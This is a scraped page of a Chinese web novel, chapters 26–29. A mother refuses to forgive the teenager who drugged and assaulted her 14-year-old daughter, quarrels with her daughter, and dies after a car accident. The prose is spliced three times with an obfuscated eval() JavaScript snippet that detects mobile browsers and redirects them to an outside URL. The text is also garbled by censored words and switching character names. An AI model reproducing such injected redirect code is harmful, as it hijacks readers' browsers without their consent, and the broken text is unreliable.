“大姐,他才十七岁,那女孩才十四岁。你心疼你儿子,人家父母不心疼人家闺女?你儿子现在这样,是谁造成的?是他自己。他干这事之前,想过后果吗?” 陈母不说话了。 “你们回去等消息吧。案子会移交检察院,检察院决定是否起诉。如果起诉,法院开庭的时候,你们可以请律师。” 陈父站起来,扶着妻子往外走。 走到门口,他回过头。 “刘警官,我想问问……如果那女孩愿意原谅他,会不会判轻点?” 刘警官看着他,看了几秒。 “这个法院会考虑。但□□罪是公诉案件,不是被害人想撤就能撤的。就算她原谅,检察院也会起诉。最多是个酌定从轻情节。” 二人点点头,走了。 第四天,周警官约了林小满,在派出所见面。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347244|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >还是那间调解室,还是那个女警察。 林小满一个人来的。她没告诉女儿。 “林小满妈妈,今天叫你来,是把调查结果正式通知你。”周警官把一份文件推到她面前,“这是我们的调查报告,你看一下。” 林小满接过来,一行一行看。 很厚,好几页。 她看到“经调查,现有证据能够证明犯罪嫌疑人陈文浩涉嫌□□罪的事实”,看到“证据确实、充分,符合移送审查起诉条件”,看到“建议移送人民检察院审查起诉”。 她的手有点抖。 “周警官,这是不是意味着……他会坐牢?” 周警官点点头。 “案子到了检察院,他们会审查证据是否确实充分,是否符合起诉条件。以现在这个证据链,起诉的可能性非常大。如果起诉到法院,定罪的可能性也很大。” 林小满的眼泪流下来。 不是难过,是说不清的复杂。 她想起女儿说的话——“我不想他坐牢”。 她不知道怎么跟女儿说。 “周警官,我女儿……她一直说不想让他坐牢。她说他是她男朋友,说他对她好过。我不知道该怎么跟她说。” 周警官看着她,眼神里有种东西。 “林小满妈妈,我跟你说几句掏心窝子的话。” 林小满点头。 “你女儿现在这种反应,很正常。她是未成年人,心理还没成熟,对感情的理解就是那个人对她好、哄她开心。她分不清什么是真正的爱,什么是伤害。” 周警官顿了顿。 “但你是大人。你得替她看清楚。那个男的,如果真爱她,会把她灌醉吗?会趁她不省人事干那种事吗?会事后掐着她脖子不让她打电话吗?这不是爱,这是犯罪。” 林小满听着,眼泪止不住。 “她现在不懂,将来会懂的。她现在恨你,将来会谢你的。你要做的,就是站直了,别倒。让她知道,不管发生什么,妈在。” 林小满点点头。 “还有,接下来检察院可能会找她核实情况。到时候会有女检察官,专门负责未成年人的,你放心。如果开庭,她可能不用出庭,保护她的隐私。这些法律都有规定。” 周警官指了指那份文件。 “这个案子,从头到尾都是按程序办的。询问的时候有你在场,有同步录音录像,有女警察问话。证据都固定好了,翻不了供的。你们就安心等结果。” 林小满站起来,鞠了一躬。 “周警官,谢谢您。” 周警官也站起来。 “应该的。保护好孩子,有事随时联系我。” 走出派出所,阳光很晃眼。 林小满站在门口,眯着眼睛看天。 天很蓝,有几朵云,慢慢飘着。 她想起很多年前,她也这样从派出所出来过。 那时候她十五岁,一个人。 现在她三十岁,有女儿了。 她不能倒。 她得回去,告诉女儿。 告诉她,那个人会坐牢。 告诉她,不管她理不理解,都得接受。 告诉她,妈在。 她深吸一口气,往家走。 路上买了菜,买了女儿爱吃的。 到家门口,掏出钥匙,开门。 屋里很安静。 女儿那屋门关着。 她走过去,敲了敲门。 “小妍?” 没声音。 她又敲了敲。 “妈有话跟你说。” 门开了一条缝。 女儿的脸露出来,眼睛肿肿的。 “什么事?” 林小满看着她,看着这张苍白的脸,看着这双红红的眼睛。 “警察那边有结果了。” 女儿愣住了。 “什么结果?” “他们要把他移送检察院。起诉。让他坐牢。” 女儿的眼泪流下来。 但她没说话。 就那么流着泪,看着妈妈。 林小满伸手,想抱她。 女儿躲了一下,没躲开。 被抱住了。 她靠在妈妈肩膀上,哭了。 哭得很凶,浑身发抖。 林小满抱着她,轻轻拍她的背。 “哭吧。哭完就好了。” 窗外阳光照进来,落在地板上。 很亮。 27. 命运循环26 起诉通知书是寄到家里的。 周父周母收到起诉书后,他们先是愣了半天,然后周母就哭了,虽然警察已经告知过会移交到检察院审查起诉,但是这个现实收到的通知书还是冲击了他们的想法。 “咋就起诉了呢?不是说谈恋爱不算□□吗?” 陈父蹲在门口抽烟,一根接一根,抽得满院子都是烟灰。 邻居说:“你们赶紧找律师吧。我听人说,要是能取得被害人谅解,能轻判不少。” 陈母抹着眼泪问:“啥叫谅解?” “就是让那女孩家里写个谅解书,表示原谅你们儿子了。法院判的时候会考虑这个。” 陈父站起来,把烟头往地上一扔。 “走,找律师去。” 他们找了个律师,姓王,本地人,开着一家小律所。王律师听他们说完,翻了翻材料,叹了口气。 “这个案子,证据挺扎实的。检察院既然起诉了,说明他们认为构罪没问题。现在能做的,就是争取从轻处罚。” 陈母急着问:“咋争取?” “最好的办法,就是取得被害人谅解。”王律师看着他们,“你们去找那女孩的家长,好好谈,诚恳道歉,争取让人家写个谅解书。如果能赔一笔钱,最好。法院判的时候,谅解书是个很重要的酌定从轻情节。” 周父皱着眉头。 “赔多少?” “这个看你们家庭情况,也看对方态度。一般这种案子,几万到十几万不等。主要是个态度。” 陈母又哭了。 “我们家哪有那么多钱……” 王律师摇摇头。 “那就看你们怎么谈了。钱不是唯一,态度很重要。你们得让人家看到,你们真心认错,真心想弥补。如果还是那套‘谈恋爱自愿’的说法,人家不可能谅解的。” 陈父沉默了一会儿。 “那我们去找她妈谈谈。” 林小满下班回来,看见小区门口站着三个人。 陈父陈母,还有一个穿西装的男人,不认识。 她心里咯噔一下,脚步慢下来。 陈母看见她,赶紧跑过来。 “林妍妈妈,你等等,我们想跟你谈谈。” 林小满站住了。 “谈什么?” 陈母眼眶红红的,声音带着哭腔。 “我儿子的事,我们想跟你道个歉。他不是故意的,他就是一时糊涂。你……你能不能原谅他一次?” 林小满看着她,没说话。 王律师走过来,递上一张名片。 “你好,我是男方的代理律师,姓王。我们今天来,是想跟你协商一下谅解的事。你看方便吗?我们找个地方坐下谈。” 林小满接过名片,看了一眼,还给他。 “不用了。就在这儿说吧。” 王律师点点头。 “好。事情是这样的,陈文浩已经被检察院起诉了,接下来法院会开庭。如果能取得被害人的谅解,对量刑有帮助。我们想问问,你们愿不愿意考虑谅解?” 林小满看着他。 “谅解什么?” “就是出具一份谅解书,表示你们原谅他了。如果愿意,我们可以协商赔偿的事。” 林小满摇摇头。 “我不谅解。” 陈母的眼泪又下来了。 “你咋能不谅解呢?两个孩子处对象,你情我愿的事,咋就闹成这样?” 林小满看着她,声音很平。 “你情我愿?你儿子把我女儿灌醉,趁她不清醒干那种事,这叫你情我愿?!” 陈母被她噎住。 陈父在旁边开口了。 “大妹子,我知道我儿子不对。但他就是个孩子,不懂事。你看能不能给他一次机会?他这辈子就毁了。” 林小满转过头,看着他。 “他毁了?我女儿呢?她才十四岁,她这辈子就不毁了?” 二人不说话了。 王律师赶紧打圆场。 “大姐,我们理解你的心情。但事情已经发生了,现在要考虑的是怎么减少伤害。周辰如果判了,对谁都没好处。他出来以后可以挣钱,可以补偿你们。你看……” 林小满打断他。 “我不要钱。” 王律师愣了一下。 “那你要什么?” 林小满看着他,看着对方父母,看着这三张脸。 “我要他坐牢。” 陈母哭出声来。 “你咋这么狠心?他才十七岁……” 林小满笑了,笑得很冷。 “他十七岁?他十七岁就知道把人灌醉□□?他十七岁就知道掐着人脖子不让打电话?他十七岁就知道威胁人不要报警?这种十七岁,不该坐牢?” 二人生气得说不出话。 王律师叹了口气。 “大姐,你再考虑考虑。谅解对你们也有好处,省得打官司折腾。孩子还小,以后的路还长,何必结死仇呢?” 林小满看着他。 “律师,我问你一句。” “您说。” “他认错了吗?他知道自己□□了吗?” 王律师顿了一下。 “这个……他会认的。” “他会认?”林小满冷笑一声,“他到现在还说是自愿的,还说是谈恋爱。他认什么了?他认的是被抓了,不是认错。” 王律师不说话了。 林小满转身往小区里走。 “我不谅解。你们走吧。” 陈母在后面喊她,她没回头。 谈判失败了。 三a人在小区门口站了很久,不知道怎么办。 王律师说:“不行就算了。再想别的办法。” 陈母哭着说:“还有啥办法?她就咬死了不松口。” 陈父蹲在地上,又点了一根烟。 抽完,他站起来。 “去学校。” “去学校干啥?” “找那女孩。” 王律师皱起眉头。 “你们别乱来。再骚扰人家,小心她报警。” 陈父摇摇头。 “不骚扰。我们就跟她说几句话。她不是喜欢我儿子吗?让她去劝她妈。” 林妍放学的时候,天快黑了。 她一个人往家走,低着头,想着心事。 自从那件事后,她一直没怎么说话。在学校也不说话,回家也不说话。老师找她谈过,她说不出来。同学问她,她也不说。 她只想一个人待着。 走到巷子口,有人叫她。 “小妍。” 她抬起头,看见一对中年男女站在那儿,朝她走过来。 她愣了一下,然后认出来了。 陈文浩的爸妈。 她想跑,但腿迈不动。 陈母走过来,一把拉住她的手。 “妍妍,阿姨求你了。” 林妍看着她,看着那张哭得稀里哗啦的脸。 “你……你干什么?” 周母扑通一声跪下了。 林妍吓坏了,往后退。 “阿姨你起来!” “你不答应我就不起来!” 林妍不知道怎么办,只是往后退。 陈父在旁边站着,不说话,眼睛红红的。 “小妍,阿姨知道你跟我儿子好。他是真的喜欢你。他就是一时糊涂,干错了事。你原谅他一次好不好?你去跟你妈说,让她别告了,好不好?” 女孩的眼泪唰一下就流下来了。 “阿姨,我……” “他才十七岁,要是坐牢了,这辈子就完了。你忍心吗?你不是喜欢他吗?” 女孩张着嘴,说不出话。 之后陈母跪在地上,拽着她的手不放。 “你就跟你妈说,说你原谅他了,说你不想让他坐牢。你妈听你的。你去说,好不好?” 女孩沉默不说话只是哭 陈母跪在地上,哭着求她。 巷子里有路过的人,停下来看。 林妍觉得那些目光像刀子一样扎在身上。 她终于开口了。 “阿姨,你起来。” “你答应我?” “我……我去跟我妈说。” 陈母这才站起来,拉着她的手不放。 “你真好,你真是个好孩子。阿姨谢谢你。” 林妍抽回手,低着头跑了。 跑回家,跑进屋里,把门关上。 靠在门上,大口喘气。 林妍从厨房出来,看见她那样,愣住了。 “怎么了?” 林妍不说话。 “小妍?” 林妍抬起头,看着她妈。 “妈。” “嗯?” “今天有人来找你了?” 林小满愣了一下。 “你怎么知道?” “他们……他们也来找我了。” 林小满的脸色变了。 “在哪儿?” “巷子口。文浩的爸妈。他妈妈跪下来求我。” 林小满的火气一下就上来了。 “他们去找你?他们敢去找你?” 她转身就要往外走。 林妍拉住她。 “妈,你别去。” “你别管。” “妈!” 林小满站住了。 林妍看着她,眼睛红红的。 “妈,我想跟你说个事。” “什么事?” “你……你能不能别让他坐牢?” 林小满愣住了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347245|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你说什么?” 林妍低下头。 “我知道他不对。但他不是故意的。他就是一时冲动。他爸妈都跪下来求我了……” 林小满看着她,看着这张脸,这双眼睛,这个她拼了命养大的女儿。 “你再说一遍?” 林妍抬起头。 “妈,你就原谅他一次吧。他以后不会了。” 林小满觉得脑子里嗡的一声。 “他以后不会了?你信?” “他说的……” “他说的话你信?他把你灌醉□□你的时候你信不信?他掐着你脖子不让你打电话的时候你信不信?” 林妍的眼泪流下来。 “他那是喝多了……” “喝多了?”林小满的声音尖起来,“喝多了就能干这种事?喝多了就能□□人?你知不知道他提前几天就在网上搜怎么把人灌醉?你知不知道他跟他朋友商量好了要灌你?这叫喝多了?” 林妍愣住了。 “什么?” “警察查出来了。他提前就计划好的。什么喝多了,什么一时冲动,全是骗你的。” 林妍的脸白了。 “不可能……” “不可能?你自己看。”林小满掏出手机,翻出周警官发的消息,递给她。 林妍接过来,一行一行看。 看完,她的手开始抖。 “他……他骗我?” 林小满看着她,看着她的眼泪,看着她发抖的手。 “你现在知道了吗?他不是爱你。他是想占你便宜。” 林妍蹲下来,抱着头,哭了。 哭得很凶,浑身发抖。 林小满蹲下来,想抱她。 林妍推开她。 “你走开!” 林小满愣住了。 “小妍?” 林妍抬起头,看着她,眼睛里全是泪,还有别的什么。 “你懂什么?你知道我一个人在学校多难受吗?你知道那些人在背后怎么议论我吗?你知道我每天怎么过的吗?” 林小满张了张嘴,说不出话。 “他至少陪我说话,他至少听我讲,他至少让我觉得还有人关心我。你呢?你天天加班,天天不在家,天天就知道问我作业写完没有、考试考多少分。你问过我开不开心吗?你问过我有没有人欺负我吗?你问过我晚上睡不着在想什么吗?” 林小满的眼泪流下来。 “我那是为了你……” “为了我?你为了我什么?为了我一个人在家吃泡面?为了我被人欺负了不敢跟你说?为了我遇到什么事都只能自己扛?” 林妍站起来,看着她妈。 “他对我好。他听我说话。他陪我聊天。他让我觉得我不是一个人。你从来没有过。” 林小满站在那里,像被人打了一巴掌。 “小妍……” “你别叫我。” 林妍转身,走进自己屋,把门摔上。 砰的一声,整个屋子都在抖。 林小满站在客厅里,看着那扇门。 眼泪流了一脸。 她想去敲门,但手抬不起来。 她想说什么,但嘴张不开。 她只是站在那儿,站了很久。 久到腿麻了,久到眼泪干了。 然后她走到门口,对着那扇门说了一句话。 “谅解书,我不会签的。他必须坐牢。” 屋里没声音。 她转身,回自己屋了。 林妍在屋里,听见了那句话。 她趴在床上,把脸埋进枕头里。 枕头湿了,一小片,湿湿的。 她拿起手机,打开微信。 班级群还在聊天,说作业的事,说考试的事,说暑假去哪玩的事。 她看着那些消息,一条一条,像另一个世界的事。 她点开闺蜜的头像。 林雨:在吗? 那边回:在,咋了? 她打字:我好难受。 林雨:怎么了? 她想了想,打了很久。 最后发出去的是: “我妈非要让他坐牢。我不想。但他骗了我。我不知道怎么办。” 林雨那边沉默了一会儿。 然后回:“你妈是对的。” 她看着这行字,眼泪又流下来。 她回:“你不懂。” 林雨:“我懂。你听你妈的。” 她没再回。 她把手机放下,继续哭。 哭了很久,哭到累了,哭到睡着了。 梦里她看见一条河。 很宽,很长的河。 河那边有个人,在朝她招手。 她看不清是谁。 但她想过去。 28. 命运循环27 六个月。 一百八十多天。 日子像水一样流过去,不声不响。 林妍照常上学,照常下课,照常写作业。班上的人都知道她出了事,但没人当面说。班主任找她谈过几次话,问她想不想换个班,她说不换。问她想不想跟心理老师聊聊,她说不想。 她只是沉默。 比以前更沉默。 但时间是个好东西。慢慢的,那些目光不再追着她,那些窃窃私语慢慢消失。有人开始跟她说话,问她作业,借她笔记,约她一起吃饭。 她交到了朋友。 两个女孩,一个叫陈晨,一个叫王瑶。坐她后排,爱笑爱闹,上课传纸条,下课聊八卦。她们不知道她的事,或者知道但不说破。她们只是把她当成普通同学,拉她一起玩,一起笑。 林妍慢慢学会了笑。 虽然笑起来的时候,眼睛里还有一点东西没化开。 但她学会了。 六月的时候,学校组织研学旅行。去外地,三天两夜,住集体宿舍,参观大学校园和科技馆。 消息发下来那天,教室里炸了锅。 “你去不去?” “去去去!当然去!” “听说住宿舍,晚上可以聊天到天亮!” 林妍看着那张通知单,心里有一点动。 陈晨凑过来。 “小雨,你去不去?” “我……我不知道。” “一起去呗!咱仨一个宿舍,晚上聊天!” 王瑶也凑过来。 “对啊对啊,一起一起!你不去我们多没意思。” 林妍看着她们,看着她们亮晶晶的眼睛。 “我回去问问我妈。” 放学回家,她把通知单递给妈妈。 林小满接过来,看了一眼。 “研学旅行?去外地?” “嗯,三天两夜。” “都谁去?” “全班都去。” “老师跟着吗?” “跟着。” 林小满把通知单放下,没说话。 林妍等着。 等了一会儿,林小满开口了。 “你别去了。” 林妍愣住了。 “为什么?” “不放心。” “老师跟着呢,有什么不放心的?” 林小满看着她,眼神很复杂。 “你自己什么情况你不知道?跑那么远,万一出事怎么办?” 林妍的火气一下就上来了。 “我能出什么事?全班都去,就我不去?” “别人是别人,你是你。” “我怎么了?我有什么不一样?” 林小满不说话。 林妍盯着她。 “你说啊,我有什么不一样?” 林小满站起来。 “你经历过什么你自己不知道?那种地方,人多眼杂,万一再遇上坏人怎么办?” “坏人?谁都是坏人?男生都是坏人?” 林小满愣了一下。 “我没说都是坏人。” “你就是这个意思。你从来不让我跟男生说话,不让我加男生微信,不让我跟男生有任何接触。你是不是觉得所有男生都是□□犯?” 林小满的声音也高起来。 “我那是为你好!” “为我好?你问过我想要什么吗?你知道我每天在学校多难受吗?你知不知道陈晨她们拉我一起玩的时候我多开心?你知不知道这是我六个月来第一次想出去玩?” 林小满张了张嘴,没说出话。 “你天天就知道把我关在家里,锁在屋里,不让我出门不让我交朋友。你以为这样我就安全了?我告诉你,我快憋死了!” 林妍的眼泪流下来。 “我爸不管我,你也不管我。你只关心我学习好不好,安不安全,听不听话。你关心过我开不开心吗?” 林小满的眼眶红了。 “我每天加班到那么晚,我拼命赚钱,我舍不得吃舍不得穿,我都是为了谁?” “为了我?那你问过我需不需要吗?我需要的是钱吗?我需要的是你陪我!” 林小满的手在抖。 “你再说一遍?” “我说,我需要的是你陪我!不是钱!不是那些你塞给我的东西!是你!” 林小满扬起手。 林小雨没躲。 就那么看着她,眼睛红红的,全是眼泪。 手停在半空。 没打下去。 林小雨看了她一眼,转身往外跑。 门摔上的声音,震得整间屋子都在抖。 林小满站在原地,愣了几秒。 然后追出去。 “小妍!” 楼道里没人。 她跑下楼,跑出单元门,跑到小区门口。 没有人。 街上人来人往,车来车往。 没有女儿。 她掏出手机,打电话。 响了很久,没人接。 再打。 还是没人接。 她站在路边,四处张望。 不知道往哪走。 她沿着马路往前走,一边走一边打电话。 一遍,两遍,三遍。 一直没人接。 她开始跑。 跑过一条街,两条街,三条街。 跑到腿软,跑到喘不上气。 她停下来,扶着路边的树,大口喘气。 手机又响了。 她赶紧拿起来。 不是女儿,是陈晨的妈妈,班级群里的消息。 她没理,继续打女儿的电话。 还是没人接。 她继续往前走。 走到一个十字路口,她站住了。 对面有一座桥。 江桥。 她往桥上看,看见一个小小的身影,坐在桥栏杆旁边的石墩上。 是女儿。 林小满的心一下子提起来。 她想喊,喊不出来。 她想跑过去,但中间隔着一条宽阔的马路。 红灯。 车流如织。 她站在路边,看着对面那个小小的身影。 女儿坐在那儿,抱着膝盖,头埋着。 不知道在想什么。 不知道有没有哭。 林小满看着那些车,一辆接一辆,呼啸而过。 她等不了。 她迈步往前走。 绿灯还没亮。 但她等不了。 她走进车流里。 第一辆车擦着她过去,鸣笛声刺耳。 她没停。 第二辆车急刹车,司机探出头来骂。 她没听见。 她只看着对面那个小小的身影。 然后她听见一声巨响。 很响,很近。 然后是刹车声。 然后是尖叫声。 然后她飞了起来。 飞起来的时候,她还在看着对面。 那个小小的身影还坐在那儿,没动。 她想喊,喊不出来。 她想说,妈妈在这儿。 但她说不出话。 然后她落下来。 落在冰冷的地面上。 血从身体里流出来,热热的,很快又变凉。 她动不了。 但她还睁着眼。 看着对面的桥。 那个小小的身影,还坐在那儿。 不知道这边发生了什么。 不知道妈妈躺在这儿。 不知道血在流。 她想笑。 幸好她不知道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347246|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>幸好。 然后眼前慢慢变黑。 什么都看不见了。 林妍坐在江边,吹着风。 风有点凉,从江面上吹过来,带着一股水腥味。 她抱着膝盖,看着江面上的船。 那些船慢慢的,一点一点往前挪。 她想,它们要去哪儿呢? 是不是也跟她一样,不知道自己要去哪儿? 她想起刚才跟妈妈吵的那些话。 那些话像刀子一样,一句一句扎出去的时候很爽,但现在想起来,扎得她自己疼。 她说爸爸不管她。 这是真的。 爸爸从她小时候就不管她,后来离了婚,更是连电话都不打一个。 她说妈妈只关心成绩。 这也是真的。 妈妈从来只问她作业写完没有,考试考多少分,在学校听不听话。 但她知道,妈妈也关心别的。 只是不会说。 妈妈只会用她的方式关心。 加班赚钱,买好吃的,买新衣服,买手机。 那是妈妈的爱。 虽然她不喜欢。 但她知道那是爱。 她想起刚才说的最后一句话。 “我需要的是你陪我!” 妈妈当时愣住了。 手扬起来,没打下去。 那双手,是给她做过无数顿饭的手,是给她盖过无数次被子的手,是抱着她跑过医院的手。 她说了那么伤人的话,那双手都没打下去。 林妍的眼泪流下来。 她想回去了。 想跟妈妈说对不起。 想抱抱她。 她站起来,往回走。 走到桥头,她发现那边很吵。 有很多人,有警车,有救护车。 红蓝的灯光在闪。 有人在喊,有人在哭,有人在打电话。 她走过去,想看看发生了什么。 人群围成一个圈,她挤不进去。 只看见地上有一摊血。 很红,很多。 她心里有点慌。 但她不知道是谁。 她只想回家。 她转身,继续往回走。 走得很慢。 风从江面上吹过来,凉凉的。 她缩了缩肩膀。 回到家门口,她掏出钥匙,开门。 屋里黑黑的,没有人。 “妈?” 没人应。 她开了灯,四处看。 厨房没人,卧室没人,厕所没人。 妈妈不在。 她掏出手机,想打电话。 手机上有一排未接来电。 全是妈妈的。 二十三个。 她的心突然跳得很快。 她拨回去。 响了很久,没人接。 再拨。 还是没人接。 她站在客厅里,握着手机,手开始抖。 不会的。 不会的。 她想起桥那边的人群,想起那摊血。 不会的。 手机突然响了。 她赶紧接起来。 “喂?” 不是妈妈的声音。 是警察。 “请问是林妍吗?” “是我。” “你妈妈出车祸了,在人民医院。你赶紧过来。” 手机从手里滑落,掉在地上。 她愣了几秒。 然后蹲下来,捡起手机。 冲出门去。 风从江面上吹过来。 凉凉的。 她跑在风里,眼泪被风吹散。 她不知道。 她什么都不知道。 她只知道,她要见妈妈。 29. 命运循环28 她觉得自己在飘。 不是那种轻飘飘的飘,是那种浮在水面上的飘。有光,有声音,但都隔着一层东西,听不清,看不清。 疼。 这是第一个感觉。 全身都在疼,但最疼的是胸口。像有什么东西压着,喘不上气。 她试着动了一下,动不了。 眼前是白色的。天花板,灯,还有晃来晃去的人影。 有人在说话。 “血压……” “准备……” “家属到了吗……” 她想说,我女儿呢? 但她说不出话。 那些声音越来越远,像被人调小了音量。 然后她看见光。 不是那种刺眼的光,是暖黄色的,像黄昏时候的阳光。 光里有人在走。 她看不清是谁,但觉得熟悉。 那个人越走越近,近到她能看清脸了。 是奶奶。 奶奶穿着那件藏蓝色的旧外套,头发还是花白的,脸上还是那种她看了无数遍的表情——有点担心,有点心疼,又有点无可奈何。 “奶?” 奶奶看着她,不说话。 “奶,你怎么在这儿?” 奶奶还是不说话,只是看着她。 她想起小时候,每次她哭,奶奶就这么看着她。不说话,就那么看着,看得她自己慢慢就不哭了。 “奶,我是不是快死了?” 奶奶没回答。 但她知道答案了。 她突然想起很多事。 想起五岁那年,奶奶带她去赶集。她想要一个糖人,奶奶说没钱,下次。她哭了,奶奶就蹲下来,用袖子给她擦眼泪,说“不哭,奶奶在呢”。 想起八岁那年,她发高烧,奶奶背着她走三里路去医院。那天晚上下着雨,路滑,奶奶摔了一跤,膝盖磕破了,但一直背着她,没松手。 想起十五岁那年,她从外地回来,奶奶在派出所门口等着她。她以为奶奶会骂她,但奶奶只是抱着她哭,说“回来就好”。 想起很多很多。 那些她以为自己忘了的事,一件一件,全想起来了。 她想起奶奶是怎么爱她的。 不是用话说的。 是用手,用背,用那双洗衣服种菜磨出老茧的手。 是用每一个加在她碗里的荷包蛋,是用每一件熬夜缝补的衣服,是用每一个她睡着后轻轻掖好的被角。 奶奶从来没说过“我爱你”。 但她知道。 她一直知道。 只是她从来不说。 她也学会了不说。 她以为不说也是爱。 就像奶奶那样。 但她忘了,奶奶不说,是因为那个年代的人都不会说。奶奶不说,但她能感受到。 而她的女儿,感受不到。 因为她说得太多,做得太少。 她说了无数遍“我爱你”,但女儿听见的是“你怎么这么不听话”。 她说了无数遍“为你好”,但女儿听见的是“你什么都不懂”。 她说了无数遍“妈在呢”,但女儿听见的是“妈在管你”。 她想给的,和女儿收到的,从来不是一回事。 像两条平行线,永远碰不到一起。 光里的奶奶转过身,慢慢往前走。 她想追,追不上。 “奶!你别走!” 奶奶停下来,回头看了她一眼。 那一眼,她读懂了。 奶奶说:你自己走。 然后奶奶就消失在光里了。 光也慢慢暗下去。 她又回到那个白色的地方。 疼。 还是疼。 但比刚才好一点。 她试着动手指,动了一点点。 有人在说话,这次听清了。 “她女儿在外面。” “让她进来吧,可能……最后一面了。” 最后一面。 她听见这四个字。 她想说,让小妍进来,我想看看她。 但她说不出来。 然后她听见门开的声音。 轻轻的脚步声。 有人走到她床边,停住了。 她努力睁开眼。 眼前是一个模糊的影子,小小的,瘦瘦的。 是小妍。 她想伸手摸摸她的脸,但手抬不起来。 她想说话,但嘴张不开。 她只能看着她。 看着这张脸。 十四岁。 跟她当年一模一样。 她突然想起自己十四岁的时候。 那时候她也这样站着,站在奶奶的病床前。 奶奶那时候也这样躺着,说不出话,动不了,只能用眼睛看着她。 她那时候在想什么? 想的是:奶奶你快点好起来。 想的是:我还有好多话没跟你说。 想的是:对不起。 现在她躺在这儿,女儿站在那儿。 一样的位置,一样的姿势,一样的眼神。 那是害怕的眼神。 那是舍不得的眼神。 那是想说对不起又说不出口的眼神。 她懂了。 她终于懂了奶奶当年在想什么。 奶奶当年想的是:别怕,奶奶在呢。 奶奶当年想的是:你要好好的。 奶奶当年想的是:我走了,你怎么办。 她现在想的也是这些。 她突然想笑。 她拼命想摆脱的命运,最后还是回到了原点。 她不想像奶奶那样爱孩子,但她最后还是像奶奶那样。 不会说,只会做。 不懂表达,只会付出。 她不想让女儿像自己那样叛逆,但女儿最后还是像她那样。 不想被管,不想被控制,不想活在她的影子里。 她想打破那个循环。 但她发现,循环不是你想打破就能打破的。 它在你骨头里,在血里,在每一声控制不住的吼叫里,在每一句脱口而出的责骂里。 它在你没被爱过的童年里,在你不会爱的基因里,在你拼命想给但给错了的那些东西里。 你越是想打破,它越是把你捆得紧紧的。 你越是想逃,它越是把你拉回来。 就像现在。 她躺在这儿,女儿站在这儿。 十四岁,和她当年一样。 她想起女儿说过的那句话。 “你自己都没被爱过,你怎么知道怎么爱别人?” 她说得对。 她真的不知道。 她以为她知道的。 她以为拼命赚钱给她花就是爱。 她以为每天打电话问作业就是爱。 她以为不让她跟男生接触就是保护就是爱。 她错了。 那不是爱。 那是控制,是恐惧,是把她自己受过的伤投射到女儿身上。 她怕女儿走她的老路。 所以她拼命地管,拼命地拦,拼命地锁住她。 但她忘了问女儿:你想走什么路? 她忘了问女儿:你需要什么? 她忘了问女儿:你开心吗? 她只问过:作业写完了吗?考试考多少分?那个男生是谁? 她从来没问过:你今天开不开心?有没有人欺负你?晚上睡不着在想什么? 她从来没问过。 因为她自己也没被问过。 她不知道该怎么问。 她想起女儿前几天说的话。 “他至少陪我说话,他至少听我讲,他至少让我觉得还有人关心我。你呢?” 她当时很生气。 现在想想,女儿说的是真的。 那个□□犯,至少在听她说话。 而她,没听过。 从来没听过。 她给女儿买了手机,让她可以跟朋友聊天。 但她自己,从来没跟女儿聊过天。 她给女儿报了最好的补习班,让她成绩能上去。 但她自己,从来没陪女儿写过作业。 她给女儿做红烧肉,做糖醋排骨,做所有她爱吃的。 但她自己,从来没跟女儿一起吃过一顿不赶时间的饭。 她以为物质就是爱。 她错了。 大错特错。 但现在知道,已经晚了。 太晚了。 她感觉到身体越来越轻。 疼的感觉在慢慢消失。 她知道,时间快到了。 她努力睁开眼,想再看看女儿。 女儿的脸已经模糊了,看不清了。 但她能看见那双眼睛。 红红的,肿肿的,全是眼泪。 那双眼睛跟她的一模一样。 那是她的眼睛。 是她给她的眼睛。 她想说:小妍,别哭。 说不出来。 她想说:妈妈爱你。 说不出来。 她想说:对不起。 说不出来。 她只能看着她。 用最后的力气,看着她。 然后她看见女儿动了。 女儿弯下腰,把头靠在她枕边。 很轻,很轻。 像小时候那样。 “妈。” 她听见了。 那个声音,小小的,抖抖的。 “妈,我错了。” 她听见了。 她想摇头。想说不是你的错。想说是妈妈的错。 但她动不了。 “妈,你醒醒。你起来骂我。我不跑了。我听话。我什么都听你的。妈……” 女儿的声音越来越抖。 抖得像风里的叶子。 她想伸手摸摸她的头。 但手抬不起来。 她只能听着。 听着女儿哭。 听着女儿喊她。 听着女儿说“我错了”。 她想说,不是你的错。 是妈妈的错。 是妈妈不会爱。 是妈妈把所有的伤都变成了刺,扎在你身上。 是妈妈让你成了另一个自己。 她想起一个词。 循环。 命运的循环。 她妈是这样对她的。 她也是这样对她女儿的。 她拼命想逃,拼命想改,拼命想成为一个不一样的妈妈。 但最后,她还是成了她妈。 一模一样的控制欲,一模一样的不会表达,一模一样的把爱变成伤害。 她妈给她的,她都给了女儿。 她妈没给她的,她也给不了女儿。 因为她没有。 她只有这些。 她只能用这些去爱。 